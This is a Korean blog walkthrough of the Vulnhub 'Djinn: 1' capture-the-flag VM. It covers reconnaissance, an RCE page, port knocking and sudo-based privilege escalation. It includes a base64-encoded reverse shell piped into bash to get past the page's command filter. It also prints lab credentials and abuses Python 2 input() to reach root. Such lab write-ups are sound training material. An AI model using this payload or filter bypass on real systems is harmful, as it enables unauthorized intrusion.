https://www.vulnhub.com/entry/djinn-1,397/
Reconnaissance
└─$ sudo nmap -sn 192.168.45.0/24
Nmap scan report for 192.168.45.195
Host is up (0.00035s latency).
MAC Address: 08:00:27:D2:44:F1 (Oracle VirtualBox virtual NIC)
SSH는 필터가 되어있네요
FTP
anonymous 로그인이 가능한 것으로 보입니다
cme(crackmapexec) 를 이용해서 anonymous 로그인이 되는지 확인이 가능합니다
모든 파일들을 가져와서 한번 확인해봅니다
# credentials
nitu:81299
계정 정보와 1337 포트에서 게임을 하기 위해서 셋팅을 했다고합니다
1337 Port
1000개를 풀면 선을 준다고하네요 일단 7331이 http 였으니 그거부터 확인해봅니다
HTTP
mzfr
bootstrap
page source - X
robots.txt
Vulnerability
gobuster dirb nikto 툴을 이용해봅니다
wordlist를 더 키워서 진행해보겠습니다
/wish
/genie
page source는 임팩트가 없네요
뭔가 execute 할 수 있는 것이 있습니다 아무 명령어나 한번 쳐보겠습니다
/genie로 리디렉션되었지만, 특이한 점은 주소창에 whoami 명령어에 대한 결과값이 나왔습니다. RCE가 가능한 페이지로군요
개념 증명을 위해서 id 명령어로 한번 더 시도해봤습니다
Exploitation
RCE가 가능한 페이지에서 바로 리버스쉘을 획득하기 위해 netcat이 있는지 확인해봅니다
nc -v 2>&1
리버스쉘을 획득하기 위해서 페이로드를 날렸는데
이러한 문자가 떳습니다. 이리저리 확인해보니 뭔가 문자열에 대해서 필터링을 하고 있는듯하네요
URL 인코딩 또한 해보니 실패하여서 다른 인코딩 방법을 찾아봤습니다
유니코드나 다른 방법보단 그냥 쉽게 base64으로 진행해보겠습니다
뭔가 나쁘지 않은 것 같죠?? 그럼 base64로 인코딩 한 것을 디코딩하고, 그 디코딩 된것을 기반으로 리버스쉘을 획득하면 되겠군요
echo 'L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjIxOS85OTk5IDA+JjEK' | base64 --decode | bash
이렇게 페이로드를 날리면 될듯합니다
리버스쉘을 획득하여 대상 호스트로 초기 침투에 성공했습니다
Post-Exploitation
다양한 문자열에 대해서 필터링을 하고 있엇네요 그리고 .dev 디렉터리에 있는 creds.txt
# credentials
nitish:p4ssw0rdStr3r0n9
그리고 ssh로 접근하려했는데 filtered 상태였죠??
포트 노킹이 가능할 듯합니다
공격자 PC에서 포트 노킹을 시도합니다
이제 열렸네요!!
Privilege Escalation
user.txt의 플래그 값입니다
이제 권한 상승을 해야겠죠
nitish@djinn:~$ sudo -l
Matching Defaults entries for nitish on djinn:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nitish may run the following commands on djinn:
(sam) NOPASSWD: /usr/bin/genie
sam 유저의 권한으로 된 바이너리 입니다
좀....난감하네
strings 명령어를 통해서 보면 약간의 단서를 얻을 수 있는데
nitish@djinn:~$ strings /usr/bin/genie
...
genie.py
argparse
SUPPRESS
shell
default
allowed
whoami
system
substr
string
parser
my man!!
main
__import__
exec
/bin/sh
action
valid
--shell
print
lower
genie
wish
__test__
root
__name__
__main__
help
exit
--exec
bash
args
--god
-cmd
/bin/
;*3$"
GCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0
...
이 부분입니다 뭔가 조합을 해봅시다
됬네요!! sam 유저로 접근 성공했습니다
$ sudo -l
Matching Defaults entries for sam on djinn:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User sam may run the following commands on djinn:
(root) NOPASSWD: /root/lago
뭔가를 맞추거나 찾아야하는 것 같습니다... 이 ctf 재밌게 만들었네요 sam의 홈디렉터리로 가서 단서가 있는지 확인해봅니다
$ pwd
/home/sam
$ ls -al
total 36
drwxr-x--- 4 sam sam 4096 Nov 14 2019 .
drwxr-xr-x 4 root root 4096 Nov 14 2019 ..
-rw------- 1 root root 417 Nov 14 2019 .bash_history
-rw-r--r-- 1 root root 220 Oct 20 2019 .bash_logout
-rw-r--r-- 1 sam sam 3771 Oct 20 2019 .bashrc
drwx------ 2 sam sam 4096 Nov 11 2019 .cache
drwx------ 3 sam sam 4096 Oct 20 2019 .gnupg
-rw-r--r-- 1 sam sam 807 Oct 20 2019 .profile
-rw-r--r-- 1 sam sam 1749 Nov 7 2019 .pyc
-rw-r--r-- 1 sam sam 0 Nov 7 2019 .sudo_as_admin_successful
$ strings .pyc
getuser(
system(
randintc
Working on it!! (
/home/mzfr/scripts/exp.pyt
naughtyboi
Choose a number between 1 to 100: s
Enter your number: s
/bin/shs
Better Luck next time(
inputR
numt
/home/mzfr/scripts/exp.pyt
guessit
Enter the full of the file to read: s!
User %s is not allowed to read %s(
usert
path(
/home/mzfr/scripts/exp.pyt
readfiles
What do you want to do ?s
1 - Be naughtys
2 - Guess the numbers
3 - Read some damn filess
4 - Works
Enter your choice: (
intR
choice(
/home/mzfr/scripts/exp.pyt
options
work your ass off!!s"
Do something better with your life(
/home/mzfr/scripts/exp.pyt
main'
__main__N(
getpassR
randomR
__name__(
/home/mzfr/scripts/exp.pyt
<module>
컴파일된 pyc 파일을 디컴파일해서 어떤 코드로 만들었는지 확인해야 겠네요,,ㅎ 리버싱하는 느낌이에요
# pyc 파일을 디컴파일하는 uncompyle6 install
└─$ pip install uncompyle6
대상 호스트에서 웹 서버를 열어 줍니다
$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
# kali
└─$ wget http://192.168.45.195:1234/.pyc
--2024-07-11 18:32:47-- http://192.168.45.195:1234/.pyc
Connecting to 192.168.45.195:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1749 (1.7K) [application/octet-stream]
Saving to: ‘.pyc’
.pyc 100%[============================================================================>] 1.71K --.-KB/s in 0s
2024-07-11 18:32:47 (200 MB/s) - ‘.pyc’ saved [1749/1749]
└─$ uncompyle6 .pyc
# uncompyle6 version 3.9.1
# Python bytecode version base 2.7 (62211)
# Decompiled from: Python 3.11.8 (main, Feb 7 2024, 21:52:08) [GCC 13.2.0]
# Embedded file name: /home/mzfr/scripts/exp.py
# Compiled at: 2019-11-07 22:05:18
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! '
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
s == num 이네요 그렇다면~~~
네.. 새롭게 하나 배웠습니다!!
root 플래그 까지 획득 완료 했습니다!!
정말 방탈출 같은 게임이었네요,,재밌었습니다
'Vulnhub' 카테고리의 다른 글
[Vulnhub] DerpNStink Walkthrough (1) | 2024.07.15 |
---|---|
[Vulnhub] EVM Walkthrough (0) | 2024.07.12 |
[Vulnhub] Sar Walkthrough (0) | 2024.07.09 |
[Vulnhub] Symfonos: 5.2 Walkthrough (0) | 2024.07.08 |
[Vulnhub] Symfonos: 4 Walkthrough (0) | 2024.07.07 |